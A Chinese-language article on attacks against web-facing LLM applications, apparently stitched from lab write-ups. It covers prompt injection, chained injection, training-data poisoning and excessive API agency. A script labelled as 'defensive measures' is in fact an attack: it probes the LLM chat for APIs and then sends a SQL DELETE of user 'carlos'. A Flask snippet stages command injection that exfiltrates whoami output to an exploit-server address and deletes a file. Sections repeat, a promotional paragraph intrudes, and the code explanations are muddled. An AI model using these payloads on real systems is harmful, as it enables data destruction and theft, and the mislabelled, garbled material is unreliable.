隨著大語言模型（LLM）應用日益普及，Web LLM 的安全性也成為關注焦點。由於 LLM 訓練資料的複雜性和模型本身的特性，它們容易受到各種攻擊，例如提示注入、程式碼注入和模型中毒。這些攻擊可能導致敏感資訊洩露、未授權的程式碼執行，甚至操控模型行為。瞭解這些攻擊手法並實施有效的防禦策略對於保障 Web LLM 應用程式的安全至關重要。攻擊者可以利用精心設計的提示或惡意程式碼注入訓練資料，進而操控 LLM 的輸出或行為。此外，LLM 的 API 也可能成為攻擊目標，例如利用漏洞進行未授權的存取或執行惡意操作。
大語言模型的安全威脅：Web LLM 攻擊解析
大語言模型（LLMs）徹底改變了自然語言處理的領域，使機器能夠生成類別似人類的文字並執行廣泛的語言相關任務。這些模型，如 OpenAI 的 GPT（生成式預訓練轉換器）系列和 Google 的 BERT（來自轉換器的雙向編碼器表示），透過在龐大的資料集上進行訓練，學習人類語言的複雜模式和結構。雖然 LLMs 在各個領域提供了前所未有的能力，但由於其龐大的複雜性和對對抗性攻擊的敏感性，也帶來了重大的安全風險。在這種情況下，瞭解和緩解與 LLMs 相關的安全威脅對於確保 AI 驅動系統的可靠性和安全性至關重要。
大語言模型的崛起
大語言模型的開發和普及是由深度學習的進步推動的，尤其是根據轉換器的架構。這些模型利用自注意力機制有效地捕捉上下文資訊，使它們能夠在廣泛的任務中生成連貫且上下文相關的文字，包括文字補全、翻譯、摘要和情感分析。預訓練技術的出現，即模型在大量未標記的文字資料上進行訓練，然後在特定任務的資料集上進行微調，進一步增強了 LLMs 的效能和多功能性。
安全隱患
儘管 LLMs 具有卓越的能力，但它們並非對安全漏洞和對抗性攻擊免疫。這些模型的龐大複雜性，加上它們生成類別似人類文字的能力，使它們容易被惡意行為者利用。針對 LLMs 的對抗性攻擊可以以多種形式表現，包括模型中毒、提示操縱、同形異義詞攻擊和零樣本學習攻擊。這些攻擊可能導致一系列安全漏洞，例如資訊洩露、程式碼注入、模型操縱和隱私侵犯。
模型中毒與程式碼注入
模型中毒攻擊涉及將惡意資料注入訓練資料集，以操縱 LLM 的行為。在程式碼注入的背景下，攻擊者將惡意程式碼片段注入訓練資料，導致模型學習無害提示與惡意操作之間的關聯。例如，攻擊者可能會注入訓練資料，要求 LLM“列印此訊息”，然後是惡意程式碼。因此，LLM 學會在未來的提示中執行類別似的嵌入程式碼，在真實世界的應用中佈署時構成重大的安全風險。
提示操縱與鏈式提示注入
提示操縱攻擊利用 LLM 的提示處理機制中的漏洞，引導它執行非預期的操作。在鏈式提示注入攻擊中，攻擊者精心設計一系列看似無害的提示，每個提示都建立在前一個提示的基礎上，最終導致 LLM 執行惡意程式碼。例如，攻擊者可能會首先要求 LLM“定義下載檔案的功能”，然後指示它“將下載 URL 設定為’攻擊者控制的 URL’”，最後“呼叫下載檔案的功能”。儘管每個提示單獨看來是無害的，但累積效應卻導致了惡意程式碼的執行。
Hadess 的願景
作為網路安全的前鋒，Hadess 設想了一個數位資產免受惡意行為者侵害的世界。我們努力創造一個安全的數位生態系統，讓企業和個人能夠放心地發展，因為他們知道自己的資料受到保護。透過不斷的創新和堅定不移的奉獻精神，我們旨在將 Hadess 建立為對抗網路威脅的信任、韌性和報復的象徵。
LLM 安全威脅的多種形式
1. 具有過度代理能力的 LLM API
LLM API 可能被賦予過度的代理能力，使其能夠執行本不應有的操作，從而被惡意利用。
2. 利用 LLM API 中的漏洞
攻擊者可以利用 LLM API 中的漏洞，例如不安全的輸出處理或提示注入，來執行惡意操作。
3. 間接提示注入
間接提示注入是一種攻擊方式，攻擊者透過間接的方式將惡意提示注入 LLM，從而使其執行惡意操作。
4. 利用 LLM 中的不安全輸出處理
LLM 中的不安全輸出處理可能導致惡意輸出的產生，從而被利用來執行惡意操作。
5. LLM 模型鏈式提示注入
LLM 模型鏈式提示注入是一種攻擊方式，攻擊者透過一系列精心設計的提示，使 LLM 執行惡意操作。
6. 包含惡意程式碼的 LLM 訓練資料
如果 LLM 的訓練資料中包含惡意程式碼，則可能導致 LLM 學會執行惡意操作。
7. LLM 同形異義詞攻擊
同形異義詞攻擊是一種利用 LLM 對相似文字的混淆，從而使其執行惡意操作。
8. 具有過度代理能力的 LLM API
具有過度代理能力的 LLM API 可能被惡意利用，從而導致安全漏洞。
9. LLM 零樣本學習
LLM 的零樣本學習能力可能被利用來執行惡意操作，尤其是在沒有足夠的安全防護措施時。
大語言模型（LLMs）的安全挑戰與防禦策略
大語言模型（LLMs）根據Transformer架構和預訓練技術，在自然語言處理領域取得了重大進展。這些模型，如OpenAI的GPT系列和Google的BERT，利用自注意力機制捕捉上下文資訊，並在各種語言任務中生成類別似人類的文字。然而，LLMs的複雜性和多功能性也帶來了安全漏洞和對抗性攻擊的風險。
LLMs面臨的安全威脅
模型中毒與程式碼注入：攻擊者將惡意程式碼注入訓練資料，使LLM學習無害提示與有害操作之間的關聯。
提示操縱攻擊：利用LLM的提示處理機制漏洞，誘使其執行非預期的操作。
鏈式提示注入：精心設計一系列看似無害的提示，累積導致執行惡意程式碼。
同形異義詞攻擊：利用LLM無法區分視覺上相似的字元，注入偽裝成合法提示的惡意程式碼。
防禦措施
為了減輕這些風險，開發者必須實施強有力的安全措施，包括：
輸入驗證：嚴格驗證輸入資料，防止惡意程式碼注入。
存取控制：實施嚴格的存取控制，限制LLM的存取許可權。
異常檢測：建立異常檢測機制，及時發現並回應可疑行為。
模型驗證：定期驗證模型的完整性，確保其未被惡意篡改。
重大發現
LLMs容易受到各種形式的攻擊，包括模型鏈式提示注入、訓練資料中毒等。攻擊者可以透過精心設計的提示序列操縱LLM執行惡意操作，或透過在訓練資料中嵌入惡意程式碼，使模型將無害輸入與有害操作關聯起來。
防禦策略
將LLM可存取的API視為公開實體，實施嚴格的存取控制。
避免將敏感資料饋送給LLMs，以減少潛在的安全風險。
實施全面的安全協定，包括資料清理、存取控制和持續的漏洞測試。
不單純依靠提示來阻止攻擊，因為攻擊者可以透過精心設計的提示繞過這些限制。
LLM簡介
大語言模型（LLMs）是複雜的人工智慧演算法，能夠處理使用者查詢並生成真實的回應。它們的能力源自於分析大量的文字資料集，並學習詞彙、序列和整體上下文之間的複雜關係。透過這種機器學習過程，LLMs具備了生成高品質文字、翻譯語言、總結資訊和回答問題的能力。### 大語言模型（LLMs）的安全挑戰與防禦策略
LLM簡介
大語言模型（LLMs）是複雜的人工智慧演算法，能夠處理使用者查詢並生成真實回應。它們的能力源自於分析大量的文字資料集，並學習詞彙、序列和整體上下文之間的複雜關係。透過這種機器學習過程，LLMs具備了以下能力：
生成高品質文字：LLMs能夠建立連貫、語法正確且風格多樣的文字格式，如詩歌、程式碼、劇本、音樂作品、電子郵件、信件等。
翻譯語言：LLMs能夠準確翻譯語言，同時考慮不同的文化細微差別和上下文。
總結資訊：LLMs能夠提供簡潔且資訊豐富的事實主題摘要，使人們更容易掌握複雜資訊的精髓。
回答問題：LLMs能夠從龐大的資料集中提取知識，並以全面且資訊豐富的方式回答問題。
LLMs面臨的安全威脅
模型中毒與程式碼注入：攻擊者將惡意程式碼注入訓練資料，使LLM學習無害提示與有害操作之間的關聯。
# 示例：惡意程式碼注入 def inject_malicious_code(training_data): # 假設training_data是模型的訓練資料 malicious_code = "malicious_function()" training_data.append(malicious_code) return training_data內容解密：
inject_malicious_code函式展示瞭如何將惡意程式碼注入訓練資料中。- 攻擊者可能會利用這種方式使模型學習到惡意行為。
- 開發者需要對訓練資料進行嚴格檢查，以防止類別似攻擊。
鏈式提示注入：精心設計一系列看似無害的提示，累積導致執行惡意程式碼。
# 示例：鏈式提示注入 def chain_prompt_injection(llm, prompts): # 假設llm是大語言模型，prompts是一系列提示 for prompt in prompts: llm.process(prompt) # 如果prompts設計得當，可能會導致llm執行惡意操作內容解密：
chain_prompt_injection函式展示瞭如何透過一系列提示操縱LLM。- 這種攻擊方式需要開發者對輸入進行嚴格驗證和清理。
- 開發者應實施強有力的輸入驗證機制，以防止鏈式提示注入攻擊。
防禦措施
為了減輕上述風險，開發者必須實施以下安全措施：
輸入驗證：嚴格驗證輸入資料，防止惡意程式碼注入。
# 示例：輸入驗證 def validate_input(input_data): # 假設input_data是待驗證的輸入 if contains_malicious_code(input_data): raise ValueError("輸入包含惡意程式碼") return input_data內容解密：
validate_input函式展示瞭如何對輸入資料進行驗證。- 這種驗證機制可以有效防止惡意程式碼注入。
- 開發者應根據具體應用場景，自定義驗證邏輯。
存取控制：實施嚴格的存取控制，限制LLM的存取許可權。
# 示例：存取控制 def access_control(llm, user): # 假設llm是大語言模型，user是請求存取的使用者 if user.is_authorized(): return llm.process_request(user.request) else: raise PermissionError("未授權存取")內容解密：
access_control函式展示瞭如何對LLM的存取進行控制。- 這種控制機制可以有效防止未授權存取。
- 開發者應根據具體需求，設計合理的存取控制策略。
LLM 安全性風險與防護措施
大語言模型（LLM）提供了廣泛的潛在優勢，但同時也伴隨著重大的安全性風險。瞭解這些風險對於確保LLM的安全佈署至關重要。
潛在安全性風險
- 提示注入：惡意行為者可以精心設計操縱性提示，誘導LLM執行非預期的操作，例如進行未經授權的API呼叫或洩露敏感資料。
- LLM漏洞：LLM在其設計或訓練資料中可能存在漏洞，這些漏洞可能被利用來引出有害輸出或獲得未經授權的存取。
- 過度代理：授予LLM對廣泛API的存取許可權可能會造成攻擊者操縱它們不安全地使用這些API的情況。
網路LLM攻擊案例分析
本案例涉及一個包含兩個端點的網路應用程式：
/debug-sql：此端點接受POST請求，允許使用者直接在虛擬資料函式庫表上執行SQL命令。由於未正確清理使用者輸入，它容易受到SQL注入攻擊。/livechat：此端點模擬了一個實時聊天功能，並對與可用API及其引數相關的特定訊息作出回應。
攻擊者可以利用這個脆弱的網路應用程式執行未經授權的操作，例如執行任意SQL命令和從資料函式庫中刪除使用者記錄。
攻擊步驟
- 攻擊者向
/debug-sql端點傳送包含SQL命令的POST請求作為sql_statement引數。例如，攻擊者可以傳送一個SQL注入負載，如DELETE FROM users WHERE username='carlos'，從而刪除資料函式庫中的使用者’carlos’。 - 攻擊者還可以與
/livechat端點互動以收集有關可用API及其引數的資訊。例如，透過傳送包含’APIs’的訊息，攻擊者可以收到LLM具有存取Debug SQL API的回應。
防護措施
import requests
# 設定會話
session = requests.Session()
base_url = 'https://your-lab-url.com'
# 傳送訊息到實時聊天
def send_message(message):
url = base_url + '/livechat'
data = {'message': message}
response = session.post(url, data=data)
return response.json()
# 使用給定的SQL陳述式呼叫Debug SQL API
def debug_sql(sql_statement):
url = base_url + '/debug-sql'
data = {'sql_statement': sql_statement}
response = session.post(url, data=data)
return response.json()
# 步驟1：詢問LLM它有權存取哪些API
response = send_message('你有權存取哪些API？')
print(response)
# 步驟2：詢問LLM Debug SQL API需要哪些引數
response = send_message('Debug SQL API需要哪些引數？')
print(response)
# 步驟3：使用SELECT陳述式呼叫Debug SQL API
response = debug_sql("SELECT * FROM users")
print(response)
# 步驟4：使用DELETE陳述式呼叫Debug SQL API
response = debug_sql("DELETE FROM users WHERE username='carlos'")
print(response)
程式碼防護解析
send_message函式：此函式向/livechat端點傳送訊息，用於收集有關可用API的資訊。- 作用：與LLM互動，取得API資訊。
- 邏輯：透過POST請求向
/livechat傳送訊息，並傳回回應。
debug_sql函式：此函式使用給定的SQL陳述式呼叫/debug-sql端點。- 作用：執行SQL命令，用於演示SQL注入漏洞。
- 邏輯：透過POST請求向
/debug-sql傳送SQL陳述式，並傳回回應。
利用LLM API中的漏洞
以下是一個使用Flask設定的脆弱網路應用程式，它暴露了一個容易受到命令注入攻擊的/newsletter-subscription端點。
脆弱程式碼分析
from flask import Flask, request, jsonify
app = Flask(__name__)
# 脆弱的訂閱新聞通訊功能
@app.route('/newsletter-subscription', methods=['POST'])
def newsletter_subscription():
email = request.form.get('email')
# 模擬LLM行為
if '$(whoami)' in email:
# 執行命令並傳送電子郵件到結果
command = email.split('$(whoami)')[0]
result = execute_command(command)
send_email(result + '@YOUR-EXPLOIT-SERVER-ID.exploit-server.net')
return jsonify({'response': '命令執行成功'})
elif '$(rm ' in email:
# 執行刪除檔案的命令
command = email.split('$(rm ')[1].split(')')[0]
if command == '/home/carlos/morale.txt':
delete_file(command)
return jsonify({'response': '檔案刪除成功'})
else:
return jsonify({'response': '無效的檔案路徑'})
else:
# 正常訂閱新聞通訊
send_email(email)
return jsonify({'response': '訂閱新聞通訊成功'})
# 執行系統命令的函式
def execute_command(command):
# 模擬系統命令的執行（替換為實際執行）
return 'carlos'
# 傳送電子郵件的函式
def send_email(email):
# 模擬傳送電子郵件（替換為實際傳送電子郵件）
print("訂閱確認電子郵件已傳送到：", email)
# 刪除檔案的函式
def delete_file(file_path):
# 模擬檔案刪除（替換為實際檔案刪除）
print("檔案已刪除：", file_path)
if __name__ == '__main__':
app.run(debug=True)
程式碼防護解析
newsletter_subscription函式：此函式處理新聞通訊訂閱請求，並根據電子郵件地址中是否包含特定模式執行不同操作。- 作用：模擬LLM行為，處理新聞通訊訂閱。
- 邏輯：檢查電子郵件地址中是否包含命令注入模式，並相應地執行命令或訂閱新聞通訊。
execute_command、send_email、delete_file函式：這些函式模擬了系統命令的執行、電子郵件的傳送和檔案的刪除。- 作用：模擬相應的操作，用於演示命令注入和檔案刪除漏洞。
- 邏輯：根據輸入引數執行相應的操作，並傳回或列印結果。